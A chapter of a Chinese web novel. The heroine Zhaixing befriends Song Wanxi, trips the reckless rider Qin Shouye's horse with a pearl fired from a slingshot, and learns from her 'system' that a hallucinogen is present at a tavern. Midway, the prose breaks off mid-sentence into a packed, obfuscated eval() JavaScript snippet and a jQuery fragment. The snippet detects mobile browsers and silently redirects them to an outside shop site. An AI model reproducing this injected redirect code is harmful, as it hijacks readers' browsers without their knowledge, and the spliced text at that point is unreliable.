看着面前少女气鼓鼓的脸颊,摘星一时有些怔愣。

    她光顾着看那两个跟踪自己的侍卫,倒没注意宋晚西从哪冒出来。

    “你为何要替我说话,我之前那样对你,还不许你嫁给舟哥哥,你凭什么帮我?”

    宋晚西声音愈来愈小,多了几分哽咽,似乎下一秒就要哭出声来。

    摘星最不喜见女生掉眼泪,在对方眼泪落下来之前,开口道,“宋小姐,旁的人爱用萝卜炖豆腐,你知为何我要用萝卜炖土豆吗?”

    宋晚西的思绪一时被这话吸引,眼泪瞬时收了回去,思索片刻,用略带鼻音的话疑惑道。

    “为为什么?”

    见她眼眶红红,俨然一副无知小白兔的模样,摘星莫名觉得自己似乎是长着尾巴的大灰狼,忍住笑意,“因为我乐意啊。”

    宋晚西即刻听懂她话里的意思,一时间又感动又羞愧,但她被家里宠惯了,咬着下唇,嘴硬道。

    “你刚说的话也不全是对的,你未穿过,怎知自己穿着不好看,哼,你这叫妄自菲薄!”

    说罢,又恢复了往日高傲模样,扬起精致的小脸。

    “走罢,我带你去买些衣裳,你打扮起来肯定比她们都俏。”

    摘星见她脾气来得快,去得也快,有些哭笑不得,但想着自己的正事,连忙摇头拒绝。

    “不必,你不是同你闺友一起的吗?”

    听到这话,宋晚西顿时又有些不高兴,小嘴微微向下撇,“哼,她们已经不是,我要买更多更漂亮的衣裙,羡慕死她们!”

    说罢更是激动起来,跨步上前,拉着摘星的手就要往门外走。

    摘星连忙后退,挥手道:“宋小姐,你看我这糕点刚上,还没吃呢。”

    宋晚西探头瞧,见桌上确实放着几碟没有动过的糕点。

    “不要叫我宋小姐,阿宁,叫我晚西就好啦。”

    她顺势坐下,伸手拿了一块,塞进嘴里。

    之前光顾着同人说话,宋晚西还没来得及吃些东西,后来光顾着生气,现下却感觉有些饿了。

    一边吃一边嘴上却说个没完。

    “邵月就是那个穿粉衣的,定是羡慕我有穿不完的新衣服,她家里管的严,没有多少月钱。”

    “还有那个刘清竹上一次借了我一整套宝石头面,一直还没还呢,却在背地里那样说我。”

    摘星见她这样说个不停,叹了口气,“背后嚼舌根的确不好,但过于张扬确实会引起旁人的不满。”

    听到这话,宋晚西倒也没有反驳,只愤愤地吃着手里的糕点,那副模样,似乎糕点便是说闲话之人。

    见宋晚西暂时没有离开的意思,摘星只好走到窗边透口气。

    谁知,却意外瞧见一个眼熟的身影。

    一道红色人影正骑着马往这边过来,定睛一看,正是之前堵在自家镖局前的红衣少年。

    他正在集市纵马,一时间,不少人避让不及,狼狈摔倒在地。

    见他这副作态,摘星暗自皱眉,看上去是个混不吝的人。

    宋晚西听见窗边的动静也放下手头的糕点,走到窗边探出身瞧,下一秒惊讶到。

    “那不是秦家的大魔头秦收野吗?他怎得回来了。”

    “秦收野?”

    听见这个姓氏,摘星有些意外,“晚西,秦修同他什么关系?”

    宋晚西诧异地看了她一眼,似乎疑惑她为何突然问起这个,但仍是解释道。

    “秦修是他的叔叔,与他父亲乃同父异母的兄弟,说来他家八卦也不少呢。”

    摘星点点头,盯着马上少年桀骜的面容发神,心下思量,言和那边应当暂时无事,虽不知秦收野为什么要找自己的麻烦,但必须想办法暂时控制住他。

    宋晚西本想同她说些秘闻,但见她兴致平平,闭上了嘴,继续望窗外看去,一看却惊了一跳。

    “阿宁你瞧,秦收野怕是要撞上前面那个买花阿婆。”

    宋晚西的惊呼声将摘星思绪拉了回来。

    摘星顺着宋晚西指的方向一瞧,一位年纪很大的买花阿婆正背坐在路边,专心地串着手上的红梅,似乎没有听到马蹄的动静。

    按照秦收野的方向,确实很有可能撞到阿婆。

    摘星心下一动,转过身在包裹里面翻找,拿出那把新买的木弹弓,环顾房间却一时找不到弹丸。

    忽见宋晚西耳朵上,挂着一对硕大圆润的珍珠耳钉,灵光乍现,问道,“晚西,耳环可否借我一用?”

    宋晚西下意识点点头,准备取下自己的耳环,却见摘星的脸在眼前放大,随着一阵淡淡的栀子花香气,感觉耳上一轻。

    摘星取下耳环后,将珍珠搭上弹弓,手上用力一拉,眸光一沉,瞄准马蹄关节处。

    下一秒,松手一瞬,珍珠划破空气,打中马腿。

    那马突然吃痛,庞大的身躯不受控制的向左仰翻,马上到少年防范不及,重重摔下,砸在一旁的布匹摊上。

    见状,摘星唇角上扬一丝极浅的弧度,垂眼整理衣袖,转过头,见宋晚西呆怔在一旁,眼里闪过一丝狡黠。

    她伸手将取耳环时不小心弄散的头发撩回去,低声道,“晚西,我是怕他撞伤那个阿婆才打他的,我会赔你一对新耳环的。”

    说罢,又冲宋晚西眨眨眼,“但我刚嫁进城主府,不想招惹口舌,这件事当作我们两人之间的秘密,可好?”

    宋晚西用力点点头,“阿宁,你太厉害了吧。我会守口如瓶的,我家和秦家是世交,小时候秦收野老是捉弄我,我早就想狠狠出口恶气了,耳环你也不必赔给我。”

    她觉得今日的夏宁和之前见到的很不一样,和自己的朋友们也不一样,但她很喜欢。

    摘星见她答应,转过头望向倒在地上的秦收野。

    她虽控制了力度和方向,但从那个高度摔下去,秦收野起码得在床上休养一个月,这段时间想来,是没空找自己麻烦的。

    想到此,摘星放下弹弓,伸手将窗户合拢。

    街道上,

    秦收野从马上摔下,落地的一瞬间就感觉一阵刺痛从小腿处炸开,尖锐的刺痛顺着腿直冲头顶,眼前一阵一阵发黑。

    旁边的雪兔从地上挣扎起来,蹭到秦收野身边,试图用嘴将他拱起来。

    转头瞧见马匹雪白的大腿处有一块新鲜的红色瘀伤,秦收野心下更加恼怒。

    刚刚他骑在马上,突然感觉□□雪兔一阵躁动,还没来得及拉扯缰绳控制,下一秒便感觉自己飞了出去,摔在地上。

    一定是有人暗害自己,秦收野头阵阵发痛,不知是被摔的,还是被气的。

    “是那个不要脸的王八蛋干的?等小爷找到你,一定将你大卸八块。”

    少年像被激怒的野狼低吼着,眉间满是戾气。

    被砸的摊主飞来横祸,本甚是气恼,但见少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699337|208082||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    年坐在地上发疯,一时也不敢上前。

    来迟一步的宋沐见秦收野狼狈地倒在地上,赶忙上前将他扶起。

    被搀扶着站起来,试图起身时的动作牵扯到伤口,秦收野疼得青筋暴起,冷汗顺着下巴滑落。

    “嘶,轻点。”

    宋沐见秦收野伤得不轻,一时也有些慌张,忙叫车夫一起将他扶上马车。

    本想立刻带他赶去医馆,却听见秦收野咬牙切齿的声音。

    “别管我,去找,是哪个孙子干的!”

    秦收野从小到大得罪的人不计其数,宋沐一时也不知上哪去找。

    但他知道秦收野倔脾气上来,十匹马都拉不住,只得认命地叹口气。

    撇见布摊摊主立在旁边,宋沐熟练地掏出银子塞给摊主,“老板,这些是砸毁的赔偿,您拿着。”

    摊主本以为天降横祸,秦收野看上去又是个不讲理的,只能自认倒霉。

    结果峰回路转,瞧见满满一整袋的银子,脸上的表情由悲转喜,忙接下揣进怀里,笑道:“没事儿,可要我帮忙送这位少爷去医馆?”

    宋沐摇摇头,问道,“可见到具体是怎么回事吗?”

    “诶哟,这可没瞧清,我正给客人包布呢,这位少爷突然就摔下来了。”

    秦收野骑马闹得集市不安,摊主早就听见了,见他摔成这样一时也有些快意,但看在沉甸甸银子的份上,压住神色回道。

    一旁的路人也纷纷躲在一旁,似乎不想沾这个霉头。

    一时打探不到什么,宋沐只能走回马车,见秦收野闭着眼靠在马车上,气喘吁吁,脸色苍白劝道。

    “收野,现在可不是意气用事的时候,先去医馆吧。”

    “派人调查,小爷一定要找到是哪个……”

    秦收野断断续续说着,话还没说完,便晕厥过去。

    宋沐见状忙催着车夫走,心下暗叹真是匹狼崽子,这个时候了还想着咬人。

    *

    另一边,摘星本打算傍晚便回城主府,但吃完茶点,宋晚西非闹着要去买衣裳首饰,一晃便是一个时辰。

    回府途中,她询问系统,醉逍楼的扫描结果。

    【四楼里存在着低浓度迷幻剂的气息】

    “迷幻剂?”摘星有些惊讶。

    末世,迷幻剂在低等级人类之间十分流行。低等级人类分配到的物资只够保障最低生存需求,提供的居住环境也很恶劣。

    若想提升社会等级,只能去野猎区攒积分,但危险程度高,有不少人丢了性命。

    为了逃离惨烈的现实生活,许多低等级人类便用积攒的物资去黑市交取迷幻剂。

    她之前经常在街边看见饿死的低等人类,受迷幻剂的影响,到死脸上还挂着陶醉的微笑。

    没想到这个世界居然也有,看来秦家背后的秘密不小,想扳倒他没那么容易,而且得想办法拿到实证。

    摘星在心底盘算,待行至城主府已戌时末。

    见主卧黑漆漆一片,摘星以为段回舟已经睡下,蹑手蹑脚推门进去。

    “回来了?”

    黑暗里段回舟的声音突然响起,将毫无防备的摘星吓得一激灵。

    月光透过门缝照进卧室,借着微弱的月光,摘星只瞧见段回舟端坐在书桌旁,正擦拭着一把锋利的剑,剑身反射出冰冷的光。

    不会吧,晚回来一会就要杀人吗?摘星咽了口唾沫。